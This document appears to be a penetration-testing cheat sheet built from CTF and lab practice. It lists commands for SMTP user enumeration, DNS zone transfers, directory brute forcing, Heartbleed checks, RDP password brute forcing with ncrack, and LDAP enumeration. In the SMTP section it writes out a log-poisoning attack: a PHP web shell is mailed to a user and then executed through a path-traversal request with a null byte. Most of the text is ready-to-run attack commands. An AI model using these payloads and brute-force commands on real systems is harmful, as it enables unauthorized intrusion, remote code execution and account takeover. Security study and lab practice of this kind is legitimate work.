SMTP is a server to server service. The user receives or sends emails using IMAP or POP3. Those messages are then routed to the SMTP-server which communicates the email to another server. The SMTP-server has a database with all emails that can receive or send emails. We can use SMTP to query that database for possible email-addresses. Notice that we cannot retrieve any emails from SMTP. We can only send emails.
Commands:
HELO -
EHLO - Extended SMTP.
STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic.
RCPT - Address of the recipient.
DATA - Starts the transfer of the message contents.
RSET - Used to abort the current email transaction.
MAIL - Specifies the email address of the sender.
QUIT - Closes the connection.
HELP - Asks for the help screen.
AUTH - Used to authenticate the client to the server.
VRFY - Asks the server to verify is the email user's mailbox exists.
We canmanually try to find out which usernames are in the database. This can be done in the following way.
nc 192.168.1.103 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY root
252 2.0.0 root
VRFY roooooot
550 5.1.1 <roooooot>: Recipient address rejected: User unknown in local recipient table
Here we have managed to identify the user root. But roooooot was rejected. VRFY, EXPN and RCPT can be used to identify users. Telnet is a bit more friendly some times. So always use that too
# Using the smtp-user-enum tool.
# -M for mode. -U for userlist. -t for target
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 192.168.1.103
Using SMTP for log contamination. Watch the video from ippsec on Beep
telnet 10.10.10.7 25
EHLO ippsec.beep.htb
VRFY asterisk@localhost
### if successful, then:
mail from:pwned@haha.io
rcpt to: asterisk@localhost
data
Subject: You have been pwned
<? echo system($_REQUEST['ipp']); ?>
.
250 2.0.0 Ok: queue as 03655D92F7
Then:
GET /example/page?=../../../../../../../var/mail/asterisk%00&module=Accounts&action?ipp=ls
# Gobuster
gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux
# Specifying a user agent
gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/big.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
# searching for specifc extensions
gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux -x .txt,.php
WordPress Scanner
# WPScan
wpscan -u 10.10.10.10/wp/
WebDAV Scanner
# Davtest
davtest -url http://10.11.1.15
HTTPS
# Heartbleed Vuln status of different versions:
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
# Checking if a page is vulnerable to heartbleed
sslscan 192.168.101.1:443
or
nmap -sV --script=ssl-heartbleed 192.168.101.8
# You can also exploit the vulnerability using Burp and Metasploit
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.101.8
set verbose true
run
POP3
To login:
telnet 10.11.1.13 110
USER adam
PASS adam123
To list messages:
LIST
To retrieve message:
RETR
To exit:
QUIT
A (address) records: containing the IP address of the domain.
MX records: stands for Mail Exchange, contain the mail exchange servers.
CNAME records: used for aliasing domains. CNAME stands for Canonical Name and links any sub-domains with existing domain DNS records.
NS records: which stands for Name Server, indicates the authoritative (or main) name server for the domain.
SOA records: which stands for State of Authority, contain important information about the domain such as the primary name server, a timestamp showing when the domain was last updated and the party responsible for the domain.
PTR or Pointer Records: map an IPv4 address to the CNAME on the host. This record is also called a ‘reverse record’ because it connects a record with an IP address to a hostname instead of the other way around.
TXT records: contain text inserted by the administrator (such as notes about the way the network has been configured).
# Zone Transfer
dig axfr megacorp.local @10.10.10.179
# Windows:
nslookup
set type=any
ls -d blah.com
# DNS IP Lookup
dig a <domain-name-here.com> @<dns-server-here>
# MX Record Lookup
dig mx <domain-name-here.com> @<dns-server-here>
# Whois Enumeration
whois <domain-name-here>
# DNSRecon Tool
dnsrecon -d 10.11.1.13 -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
#Zone Transfer
dnsrecon -d example.com -t axfr
# Find Active Directory using DNS
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='labs.test.com'"
ncrack -vv --user administrator -P passwords.txt rdp://192.168.1.10,CL=1
# Then use rdesktop to login
rdesktop 192.168.1.10
LDAP
# You will get whatever object that is at the base of the directory:
ldapsearch -LLL -x -h ldap.example.com -p 3389 -s base '(objectclass=*)'
# IPSEC - LightWeight
ldapsearch -x -h 10.10.10.107 -s base namingcontext
# Then from the output, you would do:
ldapsearch -x -h 10.10.10.107 -b "dc=hackthebox,dc=htb"
# From Impacket
GetADUsers.py -all -dc-ip {ip} {domain/username}
# Nmap using LDAP script
nmap -p 389 --script ldap-search ypuffy.htb